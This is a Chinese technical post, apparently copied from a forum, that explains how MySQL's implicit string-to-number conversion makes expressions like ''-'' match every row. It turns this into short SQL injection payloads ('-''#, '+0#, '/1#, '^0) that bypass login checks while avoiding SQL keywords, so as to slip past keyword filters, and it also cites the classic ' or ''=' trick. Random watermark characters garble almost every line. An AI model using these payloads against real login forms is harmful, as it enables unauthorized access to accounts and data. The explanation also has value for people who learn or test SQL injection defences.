我们先来看这样一个场景。( j0 Z. {+ O# Y, G: [
有以下表结构:
$ Q0 \1 R# A( {8 _7 f# x6 G
6 Z# q; P5 K8 s/ A" K3 ?. t1 |mysql> desc admin;
$ R1 t4 w* r0 b% {3 A7 J$ i+----------+--------------+------+-----+---------+----------------+
3 d! A+ s# b$ F% ~! o| Field | Type | Null | Key | Default | Extra |
/ M2 }4 h# s0 s+----------+--------------+------+-----+---------+----------------+8 K2 y4 ]* e o& @0 Q" }* u9 m
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
0 D4 B7 ]6 O& q; p8 d6 R$ Y+ s& o| name | char(32) | NO | UNI | NULL | |
6 M# i. T3 ^; ?3 V* }) k| password | char(32) | NO | UNI | NULL | |
# p7 L l1 E/ l- M1 ?" S5 m9 z+----------+--------------+------+-----+---------+----------------+2 R2 l' X6 [: a6 O
3 rows in set (0.00 sec)
( Y. y" o! v/ c/ Y" Z! u3 G执行select * from admin;,成功返回所有记录内容。; T1 W( T1 y: E* J; z
0 G: L( b5 G) X$ }& u) F. ?' i
! n5 o' G Z0 S+----+--------+----------------------------------+
& N3 a" `: x" Q| id | name | password |
) p) g, Q3 o# d: F+----+--------+----------------------------------+6 ^- @/ y& }$ D8 e. _
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
9 l9 d8 Y5 n9 |0 [% R| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
7 `, L5 s1 g- C, G" || 4 | n00b | ff80e8508d39047460921792273533a4 |
" P6 x1 G o' ?% Y3 {( @+----+--------+----------------------------------+
/ a+ A, L* y4 G2 j3 v: ]5 o9 ~3 rows in set (0.00 sec)1 ^7 q. Y8 B. G. o
执行select * from admin where name=”;,没有匹配到任何记录。 ' q/ j9 P+ [, L" O7 G
- ?# e, d/ n' B: \+ w$ lmysql> select * from admin where name = '';
3 I& ?/ `4 Q( mEmpty set (0.00 sec)
9 b; @5 ~* u- y) ~那么我们来执行select * from admin where name = ”-”;
' h$ ~3 N" F& p w* ?6 h0 e- S2 V
* I/ z2 m. r7 G+----+--------+----------------------------------+) U1 \, e; N1 r$ _% N3 i) E3 G1 V" P0 K
| id | name | password |, U- u+ _, V8 Z6 \5 M$ V
+----+--------+----------------------------------+; Z+ z: [8 _ [3 H8 A0 v# _
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |- J3 q" }9 ?3 w8 _: ]
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
; @5 _; ^: C9 {) f `# ~| 4 | n00b | ff80e8508d39047460921792273533a4 |* u" r5 j2 y! U6 }
+----+--------+----------------------------------+, ?* {5 [ J: Z2 t- K
3 rows in set, 3 warnings (0.00 sec), u& @! }5 A8 D$ r" Z6 ~
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 6 F/ Y. Q" T5 y" {" u
% y, \( }3 P; s7 X9 B" F$ o+ R; B/ Hmysql> show warnings;; o$ ?/ ~" ?% _6 c
+---------+------+------------------------------------------& [0 e- r0 f2 e) N
| Level | Code | Message
4 a) S6 e4 k$ ~6 j+---------+------+------------------------------------------. K" l# o8 N* b9 \
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin6 i0 Z- }; V) \0 ~- T
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
! G) R/ t* {( E }* w, |4 j- n" v| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b" }$ @8 f" R% w# C8 D1 M" s( j
+---------+------+------------------------------------------
7 l) A$ n3 k/ h+ } b3 rows in set (0.00 sec)( ^# k2 p8 K7 u8 d
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
5 D# [$ h6 x* H4 {
$ g$ T' W( o; R$ W3 dmysql> select ''-'';
* @& [- G( M, K# Q1 o+-------+. z G0 F5 J3 W( o' E! _: v
| ''-'' |( P8 C, G) `0 F
+-------+
% b/ p- v; ~4 ]/ u| 0 |
# i. [' x! U, ^" m& c/ t+-------+
6 c3 H- p5 b' m! C9 n1 row in set (0.00 sec)
7 I7 |# ]/ N7 g返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
& z ]. {, Q) ]/ m+ ~. @3 V( n
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
, p4 f2 v& `, H7 d) [+-----------------------------------------------------+6 m6 x6 N6 _' v7 [
| CAST((select name from admin limit 1,1) as DECIMAL) | \$ A0 q2 s8 q# Q: [
+-----------------------------------------------------+* K/ W4 d: r8 [4 K0 G/ H9 W
| 0 |4 N& a6 {: ~! t. T. |4 @
+-----------------------------------------------------+ F- v, O) t% }0 Y% C" j3 J
1 row in set, 1 warning (0.00 sec)& |; ^# ?3 j- O5 V' J( W, k* ]
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
2 Q1 i/ W0 v3 S( p8 q
& ~9 J% C5 n! U. m1 {SQL注入场景: http://www.sqlzoo.net/hack/ : a$ ]- M2 y/ ~9 \' H
4 `( u+ b# _$ Z5 B- b8 c% @+ I' z$ R0 u c1 v- x3 x5 i
+ P' P& R8 m$ o0 O9 b$ L' i% [8 E h+ ?7 g% a
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
: S; j' ], n1 l2 Z0 t* G' M. s5 G2 X5 h1 `/ I5 Q$ G
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 2 m* @+ m1 F8 e k
( h- i" U/ l9 K6 V# Y& ^6 C7 X6 \3 r& [! x; g* F, q# q% D
6 F* H# i5 a5 s9 u
" I, w% r. o" x' E6 w* a, R仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 2 a! p2 z& c" Q% y7 p9 p; B
+ h4 [; ^9 V3 V& ^; a: | ( b1 u! m4 j/ o/ i
& ?! u. r% y/ {- `7 p3 d, k/ O! h% o
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可' ?0 A, V/ Q* E' ]$ S! w4 x+ @
/ E( o; o) a" s3 P2 E5 d8 T" ~$ F
" k( l8 q! q2 W! f% j. l1 o5 dmysql> select ''/1;5 t/ f, `7 W8 y) d* M: Y6 ~+ W
+------+
; e( o' b5 ]4 l2 ~: y# {6 m| ''/1 |0 F- q) F f {6 w4 E8 y
+------+
, Y2 g& c5 i0 {( }0 p0 I| 0 |
s" d# K- H/ Y+------+
$ E3 ^# p' h" [1 row in set (0.00 sec)
@% a! F. k1 B: V: Y" I' t类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
3 j3 w# |: _: u+ I9 L5 \- B5 o
8 o. v- `) @" W7 j4 N利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
2 ]. i) S- z1 m3 O. s |
|